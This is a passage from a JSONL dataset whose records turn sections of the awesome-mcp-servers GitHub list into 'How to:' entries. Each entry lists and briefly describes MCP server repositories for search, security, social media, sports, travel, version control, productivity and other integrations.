[andybrandt/mcp-simple-arxiv](https://github.com/andybrandt/mcp-simple-arxiv) - 🐍 ☁️  MCP for LLM to search and read papers from arXiv\n- [andybrandt/mcp-simple-pubmed](https://github.com/andybrandt/mcp-simple-pubmed) - 🐍 ☁️  MCP to search and read medical / life sciences papers from PubMed.\n- [cameronrye/activitypub-mcp](https://github.com/cameronrye/activitypub-mcp) 📇 🏠 🐧 🍎 🪟 - A comprehensive MCP server that enables LLMs to explore and interact with the Fediverse through ActivityPub protocol. Features WebFinger discovery, timeline fetching, instance exploration, and cross-platform support for Mastodon, Pleroma, Misskey, and other ActivityPub servers.\n- [angheljf/nyt](https://github.com/angheljf/nyt) 📇 ☁️ - Search articles using the NYTimes API\n- [apify/mcp-server-rag-web-browser](https://github.com/apify/mcp-server-rag-web-browser) 📇 ☁️ - An MCP server for Apify's open-source RAG Web Browser Actor to perform web searches, scrape URLs, and return content in Markdown.\n- [Bigsy/Clojars-MCP-Server](https://github.com/Bigsy/Clojars-MCP-Server) 📇 ☁️ - Clojars MCP Server for upto date dependency information of Clojure libraries\n- [blazickjp/arxiv-mcp-server](https://github.com/blazickjp/arxiv-mcp-server) ☁️ 🐍 - Search ArXiv research papers\n- [cameronrye/gopher-mcp](https://github.com/cameronrye/gopher-mcp) 🐍 🏠 - Modern, cross-platform MCP server enabling AI assistants to browse and interact with both Gopher protocol and Gemini protocol resources safely and efficiently. Features dual protocol support, TLS security, and structured content extraction.\n- [cevatkerim/unsplash-mcp](https://github.com/cevatkerim/unsplash-mcp) 🐍 ☁️ - Unsplash photo search with proper attribution. Returns ready-to-use attribution text and HTML for each photo, making it easy for LLMs to build content pages with properly credited images. Includes search, random photos, and download tracking.\n- [chanmeng/google-news-mcp-server](https://github.com/ChanMeng666/server-google-news) 📇 ☁️ - Google News integration with automatic topic categorization, multi-language support, and comprehensive search capabilities including headlines, stories, and related topics through [SerpAPI](https://serpapi.com/).\n- [chasesaurabh/mcp-page-capture](https://github.com/chasesaurabh/mcp-page-capture) 📇 🏠 - MCP server that captures webpage screenshots, with viewport or full-page options and base64 PNG output.\n- [ConechoAI/openai-websearch-mcp](https://github.com/ConechoAI/openai-websearch-mcp/) 🐍 🏠 ☁️ - This is a Python-based MCP server that provides OpenAI `web_search` build-in tool.\n- [DappierAI/dappier-mcp](https://github.com/DappierAI/dappier-mcp) 🐍 ☁️ - Enable fast, free real-time web search and access premium data from trusted media brands—news, financial markets, sports, entertainment, weather, and more. Build powerful AI agents with Dappier.\n- [deadletterq/mcp-opennutrition](https://github.com/deadletterq/mcp-opennutrition) 📇 🏠 - Local MCP server for searching 300,000+ foods, nutrition facts, and barcodes from the OpenNutrition database.\n- [dealx/mcp-server](https://github.com/DealExpress/mcp-server) ☁️ - MCP Server for DealX platform\n- [devflowinc/trieve](https://github.com/devflowinc/trieve/tree/main/clients/mcp-server) 🎖️ 📇 ☁️ 🏠 - Crawl, embed, chunk, search, and retrieve information from datasets through [Trieve](https://trieve.ai)\n- [Dumpling-AI/mcp-server-dumplingai](https://github.com/Dumpling-AI/mcp-server-dumplingai) 🎖️ 📇 ☁️ - Access data, web scraping, and document conversion APIs by [Dumpling AI](https://www.dumplingai.com/)\n- [emicklei/melrose-mcp](https://github.com/emicklei/melrose-mcp) 🏎️ 🏠 - Plays [Melrōse](https://melrōse.org) music expressions as MIDI\n- [erithwik/mcp-hn](https://github.com/erithwik/mcp-hn) 🐍 ☁️ - An MCP server to search Hacker News, get top stories, and more.\n- [exa-labs/exa-mcp-server](http", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312323"}
{"id": "gh_4f41a7d79249", "question": "How to: 🔒 <a name=\"security\"></a>Security", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "- [82ch/MCP-Dandan](https://github.com/82ch/MCP-Dandan) 🐍 📇 🏠 🍎 🪟 🐧 - Real-time security framework for MCP servers that detects and blocks malicious AI agent behavior by analyzing tool call patterns and intent across multiple threat detection engines.\n- [mariocandela/beelzebub](https://github.com/mariocandela/beelzebub) ☁️ - Beelzebub is a honeypot framework that lets you build honeypot tools using MCP. Its purpose is to detect prompt injection or malicious agent behavior. The underlying idea is to provide the agent with tools it would never use in its normal work.\n- [13bm/GhidraMCP](https://github.com/13bm/GhidraMCP) 🐍 ☕ 🏠 - MCP server for integrating Ghidra with AI assistants. This plugin enables binary analysis, providing tools for function inspection, decompilation, memory exploration, and import/export analysis via the Model Context Protocol.\n- [AIM-Intelligence/AIM-Guard-MCP](https://github.com/AIM-Intelligence/AIM-MCP) 📇 🏠 🍎 🪟 🐧 - Security-focused MCP server that provides safety guidelines and content analysis for AI agents.\n- [atomicchonk/roadrecon_mcp_server](https://github.com/atomicchonk/roadrecon_mcp_server) 🐍 🪟 🏠 MCP server for analyzing ROADrecon gather results from Azure tenant enumeration\n- [BurtTheCoder/mcp-dnstwist](https://github.com/BurtTheCoder/mcp-dnstwist) 📇 🪟 ☁️ - MCP server for dnstwist, a powerful DNS fuzzing tool that helps detect typosquatting, phishing, and corporate espionage.\n- [BurtTheCoder/mcp-maigret](https://github.com/BurtTheCoder/mcp-maigret) 📇 🪟 ☁️ - MCP server for maigret, a powerful OSINT tool that collects user account information from various public sources. This server provides tools for searching usernames across social networks and analyzing URLs.\n- [BurtTheCoder/mcp-shodan](https://github.com/BurtTheCoder/mcp-shodan) 📇 🪟 ☁️ - MCP server for querying the Shodan API and Shodan CVEDB. This server provides tools for IP lookups, device searches, DNS lookups, vulnerability queries, CPE lookups, and more.\n- [BurtTheCoder/mcp-virustotal](https://github.com/BurtTheCoder/mcp-virustotal) 📇 🪟 ☁️ - MCP server for querying the VirusTotal API. This server provides tools for scanning URLs, analyzing file hashes, and retrieving IP address reports.\n- [co-browser/attestable-mcp-server](https://github.com/co-browser/attestable-mcp-server) 🐍 🏠 ☁️ 🐧 - An MCP server running inside a trusted execution environment (TEE) via Gramine, showcasing remote attestation using [RA-TLS](https://gramine.readthedocs.io/en/stable/attestation.html). This allows an MCP client to verify the server before conencting.\n- [dkvdm/onepassword-mcp-server](https://github.com/dkvdm/onepassword-mcp-server) - An MCP server that enables secure credential retrieval from 1Password to be used by Agentic AI.\n- [firstorderai/authenticator_mcp](https://github.com/firstorderai/authenticator_mcp) 📇 🏠 🍎 🪟 🐧 – A secure MCP (Model Context Protocol) server that enables AI agents to interact with the Authenticator App.\n- [fosdickio/binary_ninja_mcp](https://github.com/fosdickio/binary_ninja_mcp) 🐍 🏠 🍎 🪟 🐧 - A Binary Ninja plugin, MCP server, and bridge that seamlessly integrates [Binary Ninja](https://binary.ninja) with your favorite MCP client.  It enables you to automate the process of performing binary analysis and reverse engineering.\n- [fr0gger/MCP_Security](https://github.com/fr0gger/MCP_Security) 📇 ☁️ - MCP server for querying the ORKL API. This server provides tools for fetching threat reports, analyzing threat actors, and retrieving intelligence sources.\n- [Gaffx/volatility-mcp](https://github.com/Gaffx/volatility-mcp) - MCP server for Volatility 3.x, allowing you to perform memory forensics analysis with AI assistant. Experience memory forensics without barriers as plugins like pslist and netscan become accessible through clean REST APIs and LLMs.\n- [gbrigandi/mcp-server-cortex](https://github.com/gbrigandi/mcp-server-cortex) 🦀 🏠 🚨 🍎 🪟 🐧 - A Rust-based MCP server to integrate Cortex, enabling observable analysis and automated security responses through AI.\n- [gbrigandi/mcp-server-thehive](https://github.com/gbrigandi/mcp-server-thehive) 🦀 🏠 🚨 🍎 🪟 🐧 - A Rust-based MCP server to integrate TheHive, facilitating collaborative security incident response and case management via AI.\n- [gbrigandi/mcp-server-wazuh](https://github.com/gbrigandi/mcp-server-wazuh) 🦀 🏠 🚨 🍎 🪟 🐧 - A Rust-based MCP server bridging Wazuh SIEM with AI assistants, providing real-time security alerts and event data for enhanced contextual understanding.\n- [girste/mcp-cybersec-watchdog](https://github.com/girste/mcp-cybersec-watchdog) 🐍 🏠 🐧 - Comprehensive Linux server security audit with 89 CIS Benchmark controls, NIST 800-53, and PCI-DSS compliance checks. Real-time monitoring with anomaly detection across 23 analyzers: firewall, SSH, fail2ban, Docker, CVE, rootkit, SSL/TLS, filesystem, network, and more.\n- [hieutran/entraid-mcp-server](https://github.com/hieuttmmo/entraid-mcp-server) 🐍 ☁️ - A MCP server for Microsoft Entra ID (Azure AD) directory, use", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312364"}
{"id": "gh_d4c04a1fbd2d", "question": "How to: 🌐 <a name=\"social-media\"></a>Social Media", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Integration with social media platforms to allow posting, analytics, and interaction management. Enables AI-driven automation for social presence.\n\n- [anwerj/youtube-uploader-mcp](https://github.com/anwerj/youtube-uploader-mcp) 🏎️ ☁️ - AI‑powered YouTube uploader—no CLI, no YouTube Studio. Uploade videos directly from MCP clients with all AI capabilities.\n- [gwbischof/bluesky-social-mcp](https://github.com/gwbischof/bluesky-social-mcp) 🐍 🏠 - An MCP server for interacting with Bluesky via the atproto client.\n- [HagaiHen/facebook-mcp-server](https://github.com/HagaiHen/facebook-mcp-server) 🐍 ☁️ - Integrates with Facebook Pages to enable direct management of posts, comments, and engagement metrics through the Graph API for streamlined social media management.\n- [karanb192/reddit-mcp-buddy](https://github.com/karanb192/reddit-mcp-buddy) 📇 🏠 - Browse Reddit posts, search content, and analyze user activity without API keys. Works out-of-the-box with Claude Desktop.\n- [king-of-the-grackles/reddit-research-mcp](https://github.com/king-of-the-grackles/reddit-research-mcp) 🐍 ☁️ - AI-powered Reddit intelligence for market research and competitive analysis. Discover subreddits via semantic search across 20k+ indexed communities, fetch posts/comments with full citations, and manage research feeds. No Reddit API credentials needed.\n- [kunallunia/twitter-mcp](https://github.com/LuniaKunal/mcp-twitter) 🐍 🏠 - All-in-one Twitter management solution providing timeline access, user tweet retrieval, hashtag monitoring, conversation analysis, direct messaging, sentiment analysis of a post, and complete post lifecycle control - all through a streamlined API.\n- [macrocosm-os/macrocosmos-mcp](https://github.com/macrocosm-os/macrocosmos-mcp) - 🎖️ 🐍 ☁️ Access real-time X/Reddit/YouTube data directly in your LLM applications  with search phrases, users, and date filtering.\n- [sinanefeozler/reddit-summarizer-mcp](https://github.com/sinanefeozler/reddit-summarizer-mcp) 🐍 🏠 ☁️ - MCP server for summarizing users's Reddit homepage or any subreddit based on posts and comments.\n- [scrape-badger/scrapebadger-mcp](https://github.com/scrape-badger/scrapebadger-mcp) 🐍 ☁️ - Access Twitter/X data including user profiles, tweets, followers, trends, lists, and communities via the ScrapeBadger API.", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312381"}
{"id": "gh_9c07f88810d5", "question": "How to: 🏃 <a name=\"sports\"></a>Sports", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Tools for accessing sports-related data, results, and statistics.\n\n- [guillochon/mlb-api-mcp](https://github.com/guillochon/mlb-api-mcp) 🐍 🏠 - MCP server that acts as a proxy to the freely available MLB API, which provides player info, stats, and game information.\n- [JamsusMaximus/trainingpeaks-mcp](https://github.com/JamsusMaximus/trainingpeaks-mcp) 🐍 🏠 - Query TrainingPeaks workouts, analyze CTL/ATL/TSB fitness metrics, and compare power/pace PRs through Claude Desktop.\n- [mikechao/balldontlie-mcp](https://github.com/mikechao/balldontlie-mcp) 📇 - MCP server that integrates balldontlie api to provide information about players, teams and games for the NBA, NFL and MLB\n- [Milofax/xert-mcp](https://github.com/Milofax/xert-mcp) 📇 ☁️ - MCP server for XERT cycling analytics — access fitness signature (FTP, HIE, PP), training status, workouts, activities with XSS metrics, and MPA analysis.\n- [r-huijts/firstcycling-mcp](https://github.com/r-huijts/firstcycling-mcp) 📇 ☁️ - Access cycling race data, results, and statistics through natural language. Features include retrieving start lists, race results, and rider information from firstcycling.com.\n- [r-huijts/strava-mcp](https://github.com/r-huijts/strava-mcp) 📇 ☁️ - A Model Context Protocol (MCP) server that connects to Strava API, providing tools to access Strava data through LLMs\n- [RobSpectre/mvf1](https://github.com/RobSpectre/mvf1) 🐍 ☁️ - MCP server that controls [MultiViewer](https://multiviewer.app), an app for watching motorsports like Formula 1, World Endurance Championship, IndyCar and others.\n- [willvelida/mcp-afl-server](https://github.com/willvelida/mcp-afl-server) ☁️ - MCP server that integrates with the Squiggle API to provide information on Australian Football League teams, ladder standings, results, tips, and power rankings.\n- [cloudbet/sports-mcp-server](https://github.com/cloudbet/sports-mcp-server) 🏎️ ☁️ – Access structured sports data via the Cloudbet API. Query upcoming events, live odds, stake limits, and market info across soccer, basketball, tennis, esports, and more.\n- [labeveryday/nba_mcp_server](https://github.com/labeveryday/nba_mcp_server) 🐍 🏠 - Access live and historical NBA statistics including player stats, game scores, team data, and advanced analytics via Model Context Protocol", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312393"}
{"id": "gh_64a54258b9cc", "question": "How to: 🎧 <a name=\"support-and-service-management\"></a>Support & Service Management", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Tools for managing customer support, IT service management, and helpdesk operations.\n\n- [aikts/yandex-tracker-mcp](https://github.com/aikts/yandex-tracker-mcp) 🐍 ☁️ 🏠 - MCP Server for Yandex Tracker. Provides tools for searching and retrieving information about issues, queues, users.\n- [effytech/freshdesk-mcp](https://github.com/effytech/freshdesk_mcp) 🐍 ☁️ - MCP server that integrates with Freshdesk, enabling AI models to interact with Freshdesk modules and perform various support operations.\n- [incentivai/quickchat-ai-mcp](https://github.com/incentivai/quickchat-ai-mcp) 🐍 🏠 ☁️ - Launch your conversational Quickchat AI agent as an MCP to give AI apps real-time access to its Knowledge Base and conversational capabilities.\n- [nguyenvanduocit/jira-mcp](https://github.com/nguyenvanduocit/jira-mcp) 🏎️ ☁️ - A Go-based MCP connector for Jira that enables AI assistants like Claude to interact with Atlassian Jira. This tool provides a seamless interface for AI models to perform common Jira operations including issue management, sprint planning, and workflow transitions.\n- [sooperset/mcp-atlassian](https://github.com/sooperset/mcp-atlassian) 🐍 ☁️ - MCP server for Atlassian products (Confluence and Jira). Supports Confluence Cloud, Jira Cloud, and Jira Server/Data Center. Provides comprehensive tools for searching, reading, creating, and managing content across Atlassian workspaces.\n- [tom28881/mcp-jira-server](https://github.com/tom28881/mcp-jira-server) 📇 ☁️ 🏠 - Comprehensive TypeScript MCP server for Jira with 20+ tools covering complete project management workflow: issue CRUD, sprint management, comments/history, attachments, batch operations.", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312402"}
{"id": "gh_a308e8b548b3", "question": "How to: 🌎 <a name=\"translation-services\"></a>Translation Services", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Translation tools and services to enable AI assistants to translate content between different languages.\n\n- [mmntm/weblate-mcp](https://github.com/mmntm/weblate-mcp) 📇 ☁️ - Comprehensive Model Context Protocol server for Weblate translation management, enabling AI assistants to perform translation tasks, project management, and content discovery with smart format transformations.\n- [translated/lara-mcp](https://github.com/translated/lara-mcp) 🎖️ 📇 ☁️ - MCP Server for Lara Translate API, enabling powerful translation capabilities with support for language detection and context-aware translations.", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312409"}
{"id": "gh_a1c516c182bb", "question": "How to: 🎧 <a name=\"text-to-speech\"></a>Text-to-Speech", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Tools for converting text-to-speech and vice-versa\n\n- [daisys-ai/daisys-mcp](https://github.com/daisys-ai/daisys-mcp) 🐍 🏠 🍎 🪟 🐧 - Generate high-quality text-to-speech and text-to-voice outputs using the [DAISYS](https://www.daisys.ai/) platform and make it able to play and store audio generated.\n- [mbailey/voice-mcp](https://github.com/mbailey/voice-mcp) 🐍 🏠 - Complete voice interaction server supporting speech-to-text, text-to-speech, and real-time voice conversations through local microphone, OpenAI-compatible APIs, and LiveKit integration\n- [mberg/kokoro-tts-mcp](https://github.com/mberg/kokoro-tts-mcp) 🐍 🏠 - MCP Server that uses the open weight Kokoro TTS models to convert text-to-speech. Can convert text to MP3 on a local driver or auto-upload to an S3 bucket.\n- [transcribe-app/mcp-transcribe](https://github.com/transcribe-app/mcp-transcribe) 📇 🏠 - This service provides fast and reliable transcriptions for audio/video files and voice memos. It allows LLMs to interact with the text content of audio/video file.\n- [ybouhjira/claude-code-tts](https://github.com/ybouhjira/claude-code-tts) 🏎️ ☁️ 🍎 🪟 🐧 - MCP server plugin for Claude Code that converts text to speech using OpenAI's TTS API. Features 6 voices, worker pool architecture, mutex-protected playback, and cross-platform support.", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312417"}
{"id": "gh_d062e827649d", "question": "How to: 🚆 <a name=\"travel-and-transportation\"></a>Travel & Transportation", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Access to travel and transportation information. Enables querying schedules, routes, and real-time travel data.\n\n- [campertunity/mcp-server](https://github.com/campertunity/mcp-server) 🎖️ 📇 🏠 - Search campgrounds around the world on campertunity, check availability, and provide booking links\n- [cobanov/teslamate-mcp](https://github.com/cobanov/teslamate-mcp) 🐍 🏠 - A Model Context Protocol (MCP) server that provides access to your TeslaMate database, allowing AI assistants to query Tesla vehicle data and analytics.\n- [KyrieTangSheng/mcp-server-nationalparks](https://github.com/KyrieTangSheng/mcp-server-nationalparks) 📇 ☁️ - National Park Service API integration providing latest information of park details, alerts, visitor centers, campgrounds, and events for U.S. National Parks\n- [lucygoodchild/mcp-national-rail](https://github.com/lucygoodchild/mcp-national-rail) 📇 ☁️ - An MCP server for UK National Rail trains service, providing train schedules and live travel information, intergrating the Realtime Trains API\n- [openbnb-org/mcp-server-airbnb](https://github.com/openbnb-org/mcp-server-airbnb) 📇 ☁️ - Provides tools to search Airbnb and get listing details.\n- [pab1it0/tripadvisor-mcp](https://github.com/pab1it0/tripadvisor-mcp) 📇 🐍 - A MCP server that enables LLMs to interact with Tripadvisor API, supporting location data, reviews, and photos through standardized MCP interfaces\n- [Pradumnasaraf/aviationstack-mcp](https://github.com/Pradumnasaraf/aviationstack-mcp) 🐍 ☁️ 🍎 🪟 🐧 - An MCP server using the AviationStack API to fetch real-time flight data including airline flights, airport schedules, future flights and aircraft types.\n- [r-huijts/ns-mcp-server](https://github.com/r-huijts/ns-mcp-server) 📇 ☁️ - Access Dutch Railways (NS) travel information, schedules, and real-time updates\n- [skedgo/tripgo-mcp-server](https://github.com/skedgo/tripgo-mcp-server) 📇 ☁️ - Provides tools from the TripGo API for multi-modal trip planning, transport locations, and public transport departures, including real-time information.\n- [helpful-AIs/triplyfy-mcp](https://github.com/helpful-AIs/triplyfy-mcp) 📇 ☁️ - An MCP server that lets LLMs plan and manage itineraries with interactive maps in Triplyfy; manage itineraries, places and notes, and search/save flights.\n- [srinath1510/alltrails-mcp-server](https://github.com/srinath1510/alltrails-mcp-server) 🐍 ☁️ - A MCP server that provides access to AllTrails data, allowing you to search for hiking trails and get detailed trail information", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312428"}
{"id": "gh_8e22a6a076a4", "question": "How to: 🔄 <a name=\"version-control\"></a>Version Control", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "Interact with Git repositories and version control platforms. Enables repository management, code analysis, pull request handling, issue tracking, and other version control operations through standardized APIs.\n\n- [adhikasp/mcp-git-ingest](https://github.com/adhikasp/mcp-git-ingest) 🐍 🏠 - Read and analyze GitHub repositories with your LLM\n- [ddukbg/github-enterprise-mcp](https://github.com/ddukbg/github-enterprise-mcp) 📇 ☁️ 🏠 - MCP server for GitHub Enterprise API integration\n- [gitea/gitea-mcp](https://gitea.com/gitea/gitea-mcp) 🎖️ 🏎️ ☁️ 🏠 🍎 🪟 🐧 - Interactive with Gitea instances with MCP.\n- [github/github-mcp-server](https://github.com/github/github-mcp-server) 📇 ☁️ - Official GitHub server for integration with repository management, PRs, issues, and more.\n- [kaiyuanxiaobing/atomgit-mcp-server](https://github.com/kaiyuanxiaobing/atomgit-mcp-server) 📇 ☁️ - Official AtomGit server for integration with repository management, PRs, issues, branches, labels, and more.\n- [kopfrechner/gitlab-mr-mcp](https://github.com/kopfrechner/gitlab-mr-mcp) 📇 ☁️ - Interact seamlessly with issues and merge requests of your GitLab projects.\n- [modelcontextprotocol/server-git](https://github.com/modelcontextprotocol/servers-archived/tree/main/src/git) 🐍 🏠 - Direct Git repository operations including reading, searching, and analyzing local repositories\n- [modelcontextprotocol/server-gitlab](https://github.com/modelcontextprotocol/servers-archived/tree/main/src/gitlab) 📇 ☁️ 🏠 - GitLab platform integration for project management and CI/CD operations\n- [QuentinCody/github-graphql-mcp-server](https://github.com/QuentinCody/github-graphql-mcp-server) 🐍 ☁️ - Unofficial GitHub MCP server that provides access to GitHub's GraphQL API, enabling more powerful and flexible queries for repository data, issues, pull requests, and other GitHub resources.\n- [Tiberriver256/mcp-server-azure-devops](https://github.com/Tiberriver256/mcp-server-azure-devops) 📇 ☁️ - Azure DevOps integration for repository management, work items, and pipelines.\n- [theonedev/tod](https://github.com/theonedev/tod/blob/main/mcp.md) 🏎️ 🏠 - A MCP server for OneDev for CI/CD pipeline editing, issue workflow automation, and pull request review", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312438"}
{"id": "gh_1f559d012e0b", "question": "How to: 🏢 <a name=\"workplace-and-productivity\"></a>Workplace & Productivity", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "- [bivex/kanboard-mcp](https://github.com/bivex/kanboard-mcp) 🏎️ ☁️ 🏠 - A Model Context Protocol (MCP) server written in Go that empowers AI agents and Large Language Models (LLMs) to seamlessly interact with Kanboard. It transforms natural language commands into Kanboard API calls, enabling intelligent automation of project, task, and user management, streamlining workflows, and enhancing productivity.\n- [devroopsaha744/TexMCP](https://github.com/devroopsaha744/TexMCP) 🐍 🏠 - An MCP server that converts LaTeX into high-quality PDF documents. It provides tools for rendering both raw LaTeX input and customizable templates, producing shareable, production-ready artifacts such as reports, resumes, and research papers.\n- [giuseppe-coco/Google-Workspace-MCP-Server](https://github.com/giuseppe-coco/Google-Workspace-MCP-Server) 🐍 ☁️ 🍎 🪟 🐧 - MCP server that seamlessly interacts with your Google Calendar, Gmail, Drive and so on.\n- [louis030195/toggl-mcp](https://github.com/louis030195/toggl-mcp) 📇 ☁️ 🍎 🪟 🐧 - Time tracking integration with Toggl Track. Start/stop timers, manage time entries, track project time, and get today's summary. Perfect for productivity tracking and billing workflows.\n- [MarkusPfundstein/mcp-gsuite](https://github.com/MarkusPfundstein/mcp-gsuite) 🐍 ☁️ - Integration with gmail and Google Calendar.\n- [takumi0706/google-calendar-mcp](https://github.com/takumi0706/google-calendar-mcp) 📇 ☁️ - An MCP server to interface with the Google Calendar API. Based on TypeScript.\n- [taylorwilsdon/google_workspace_mcp](https://github.com/taylorwilsdon/google_workspace_mcp) 🐍 ☁️ 🍎 🪟 🐧 - Comprehensive Google Workspace MCP server with full support for Google Calendar, Drive, Gmail, and Docs, Forms, Chats, Slides and Sheets over stdio, Streamable HTTP and SSE transports.\n- [teamwork/mcp](https://github.com/teamwork/mcp) 🎖️ 🏎️ ☁️ 🍎 🪟 🐧 - Project and resource management platform that keeps your client projects on track, makes managing resources a breeze, and keeps your profits on point.\n- [tubasasakunn/context-apps-mcp](https://github.com/tubasasakunn/context-apps-mcp) 📇 🏠 🍎 🪟 🐧 - AI-powered productivity suite connecting Todo, Idea, Journal, and Timer apps with Claude via Model Context Protocol.\n- [vakharwalad23/google-mcp](https://github.com/vakharwalad23/google-mcp) 📇 ☁️ - Collection of Google-native tools (Gmail, Calendar, Drive, Tasks) for MCP with OAuth management, automated token refresh, and auto re-authentication capabilities.\n- [khaoss85/mcp-orchestro](https://github.com/khaoss85/mcp-orchestro) 📇 ☁️ 🍎 🪟 🐧 - Trello for Claude Code: AI-powered task management with 60 MCP tools, visual Kanban board, and intelligent orchestration for product teams and developers.", "tags": ["punkpeye"], "source": "github_gists", "category": "punkpeye", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 79029, "answer_score": 10, "has_code": false, "url": "https://github.com/punkpeye/awesome-mcp-servers", "collected_at": "2026-01-16T23:27:35.312450"}
{"id": "gh_7e05383d7f1f", "question": "How to: 🛠️ <a name=\"other-tools-and-integrations\"></a>Other Tools and Integrations", "question_body": "About punkpeye/awesome-mcp-servers", "answer": "- [2niuhe/plantuml_web](https://github.com/2niuhe/plantuml_web) 🐍 🏠 ☁️ 🍎 🪟 🐧 - A web-based PlantUML frontend with MCP server integration, enable plantuml image generation and plantuml syntax validation.\n- [2niuhe/qrcode_mcp](https://github.com/2niuhe/qrcode_mcp) 🐍 🏠 🍎 🪟 🐧 - A QR code generation MCP server that converts any text (including Chinese characters) to QR codes with customizable colors and base64 encoding output.\n- [AbdelStark/bitcoin-mcp](https://github.com/AbdelStark/bitcoin-mcp) - ₿ A Model Context Protocol (MCP) server that enables AI models to interact with Bitcoin, allowing them to generate keys, validate addresses, decode transactions, query the blockchain, and more.\n- [akseyh/bear-mcp-server](https://github.com/akseyh/bear-mcp-server) - Allows the AI to read from your Bear Notes (macOS only)\n- [allenporter/mcp-server-home-assistant](https://github.com/allenporter/mcp-server-home-assistant) 🐍 🏠 - Expose all Home Assistant voice intents through a Model Context Protocol Server allowing home control.\n- [altinoren/utopia](https://github.com/altinoren/Utopia) #️⃣ 🏠 - MCP that simulates a set of smart home and lifestyle devices, allowing you to test agent's reasoning and discovery capabilities.\n- [Amazon Bedrock Nova Canvas](https://github.com/zxkane/mcp-server-amazon-bedrock) 📇 ☁️ - Use Amazon Nova Canvas model for image generation.\n- [amidabuddha/unichat-mcp-server](https://github.com/amidabuddha/unichat-mcp-server) 🐍/📇 ☁️ - Send requests to OpenAI, MistralAI, Anthropic, xAI, Google AI or DeepSeek using MCP protocol via tool or predefined prompts. Vendor API key required\n- [anaisbetts/mcp-installer](https://github.com/anaisbetts/mcp-installer) 🐍 🏠 -  An MCP server that installs other MCP servers for you.\n- [anaisbetts/mcp-youtube](https://github.com/anaisbetts/mcp-youtube) 📇 ☁️ - Fetch YouTube subtitles\n- [andybrandt/mcp-simple-openai-assistant](https://github.com/andybrandt/mcp-simple-openai-assistant) - 🐍 ☁️  MCP to talk to OpenAI assistants (Claude can use any GPT model as his assitant)\n- [andybrandt/mcp-simple-timeserver](https://github.com/andybrandt/mcp-simple-timeserver) 🐍 🏠☁️ - An MCP server that allows checking local time on the client machine or current UTC time from an NTP server\n- [apify/actors-mcp-server](https://github.com/apify/actors-mcp-server) 📇 ☁️ - Use 3,000+ pre-built cloud tools, known as Actors, to extract data from websites, e-commerce, social media, search engines, maps, and more\n- [apinetwork/piapi-mcp-server](https://github.com/apinetwork/piapi-mcp-server) 📇 ☁️ PiAPI MCP server makes users able to generate media content with Midjourney/Flux/Kling/Hunyuan/Udio/Trellis directly from Claude or any other MCP-compatible apps.\n- [awkoy/replicate-flux-mcp](https://github.com/awkoy/replicate-flux-mcp) 📇 ☁️ - Provides the ability to generate images via Replicate's API.\n- [awwaiid/mcp-server-taskwarrior](https://github.com/awwaiid/mcp-server-taskwarrior) 🏠 📇 - An MCP server for basic local taskwarrior usage (add, update, remove tasks)\n- [Azure/azure-mcp](https://github.com/Azure/azure-mcp) - Official Microsoft MCP server for Azure services including Storage, Cosmos DB, and Azure Monitor.\n- [Badhansen/notion-mcp](https://github.com/Badhansen/notion-mcp) 🐍 ☁️ - A Model Context Protocol (MCP) server that integrates with Notion's API to manage personal todo lists efficiently.\n- [ankitmalik84/notion-mcp-server](https://github.com/ankitmalik84/Agentic_Longterm_Memory/tree/main/src/notion_mcp_server) 🐍 ☁️ - A comprehensive Model Context Protocol (MCP) server for Notion integration with enhanced functionality, robust error handling, production-ready feature.\n- [anki-mcp/anki-mcp-desktop](https://github.com/anki-mcp/anki-mcp-desktop) 📇 🏠 🍎 🪟 🐧 - Enterprise-grade Anki integration with natural language interaction, comprehensive note/deck management, and one-click MCPB installation. Built on NestJS with comprehensive test coverage.\n- [bart6114/my-bear-mcp-server](https://github.com/bart6114/my-bear-mcp-server/) 📇 🏠 🍎 - Allows to read notes and tags for the Bear Note taking app, through a direct integration with Bear's sqlitedb.\n- 